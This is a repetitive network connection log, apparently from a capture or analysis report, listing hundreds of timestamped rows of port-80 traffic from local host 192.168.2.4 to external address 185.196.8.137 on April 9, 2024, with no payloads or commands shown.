Apr 9, 2024 14:54:07.203922987 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.203944921 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.203968048 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.203986883 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.204008102 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.204030991 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.204071045 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.204071045 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.204086065 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.204113007 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.204135895 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.204159021 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.204170942 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.204202890 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.204221010 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.204243898 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.204268932 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.204288960 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.204339027 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.204430103 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.204452991 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.204468012 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.204737902 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.204807043 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.204828024 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.204848051 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.204866886 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.204950094 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.204973936 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.205239058 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.205485106 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.205511093 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.205532074 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.205552101 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.205570936 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.205590963 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.205614090 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.205646038 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.205667973 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.205688953 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.205708981 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.206090927 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.206118107 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.206166983 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.206183910 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.206217051 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.206500053 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.206520081 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.206541061 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.206583023 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.206583023 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.206854105 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.206882954 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.206904888 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.206929922 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.206943035 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.206986904 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.206986904 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.207003117 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.207024097 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.207046032 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.207071066 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.207293987 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.207319975 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.207340956 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.207362890 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.207389116 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.207407951 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.207428932 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.207452059 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.207464933 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.207489014 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.207504034 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.207526922 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.207542896 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.207566023 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.207680941 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.207706928 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.207736969 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.207747936 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.207772017 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.207792997 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.208118916 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.208148003 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.208158970 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.208242893 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.208272934 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.208283901 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.208723068 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.208745956 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.208765984 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.208781004 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.208801985 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.208832979 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.208857059 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.208875895 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.208899021 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.208920956 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.208941936 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.209034920 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.209359884 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.209378958 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.209427118 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.209733963 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.209757090 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.209775925 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.209796906 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.209813118 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.209844112 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.209896088 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.209918976 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.210335970 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.210361958 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.210405111 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.210405111 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.210419893 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.210447073 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.210577011 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.210596085 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.210618973 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.210638046 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.210658073 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.210681915 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.211009026 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.211030960 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.211083889 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.211316109 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.211839914 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.211976051 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.211998940 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.212080956 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.212105989 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.212161064 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.212204933 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.212204933 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.212496996 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.212522030 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.212541103 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.212564945 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.212584019 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.212619066 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.212630033 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.212677956 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.212701082 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.213115931 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.213141918 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.213162899 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.213182926 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.213299036 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.213323116 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.213346958 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.213362932 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.213712931 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.213738918 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.213763952 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.213951111 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.214301109 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.214337111 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.214356899 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.214378119 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.214400053 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.214417934 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.214440107 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.214456081 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.214479923 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.214504004 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.214520931 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.214545012 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.214569092 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.214591980 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.214960098 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.215008974 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.215065956 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.215379000 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.215400934 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.215421915 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.215442896 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.215461016 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.215507984 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.215531111 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.215552092 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.215574026 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.216033936 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.216064930 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.216468096 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.216490984 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.216536045 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.216599941 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.216622114 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.216674089 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.216697931 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.219091892 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.219135046 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.219165087 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.219186068 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.219207048 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.219280005 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.219300032 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.219321012 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.219338894 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.219361067 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.219378948 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.219398975 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.219415903 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.219438076 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.219466925 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.219490051 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.219510078 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.219532013 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.219552994 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.219572067 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.219614029 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.219635963 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.219655991 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.219676018 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.219695091 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.219715118 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.219733953 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.219753027 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.219773054 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.219788074 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.219815969 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.219834089 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.219854116 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.219877005 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.219897985 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.219916105 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.219935894 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.219957113 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.219976902 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.219991922 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.220014095 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.220032930 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.220047951 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.220069885 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.220092058 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.220113993 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.220136881 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.220159054 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.220176935 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.220196962 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.220215082 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.220240116 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.220259905 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.220278978 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.220297098 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.220315933 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.220336914 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.220355034 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.220376015 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.220395088 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.220422029 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.220432997 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.220458984 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.220479012 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.220499039 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.220516920 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.220537901 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.220555067 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.220577002 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.220593929 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.220616102 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.220633984 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.220657110 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.220674992 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.220695019 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.220716000 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.220732927 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.220752001 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.220776081 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.220801115 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.220815897 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.220844030 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.220865011 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.220884085 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.220901012 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.220921993 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.220943928 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.220958948 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.220978975 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.220999002 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.221019983 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.221031904 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.221055031 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.221076012 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.221098900 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.221122026 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.221146107 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.221162081 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.221183062 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.221203089 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.221225977 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.221237898 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.221262932 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.221282005 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.221304893 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.221316099 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.221338034 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.221359015 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.221380949 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.221395969 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.221427917 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.221446037 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.221467018 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.221483946 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.221508026 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.221523046 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.221543074 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.221568108 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.221579075 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.221600056 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.221618891 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.221641064 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.221659899 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.221681118 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.221702099 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.231242895 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.231308937 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.231329918 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.231357098 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.231373072 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.231403112 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.231419086 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.231447935 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.231467009 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.231491089 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.231511116 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.231538057 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.231556892 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.231581926 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.231597900 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.231626034 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.231642008 CEST	49744	80	192.168.2.4	185.196.8.137
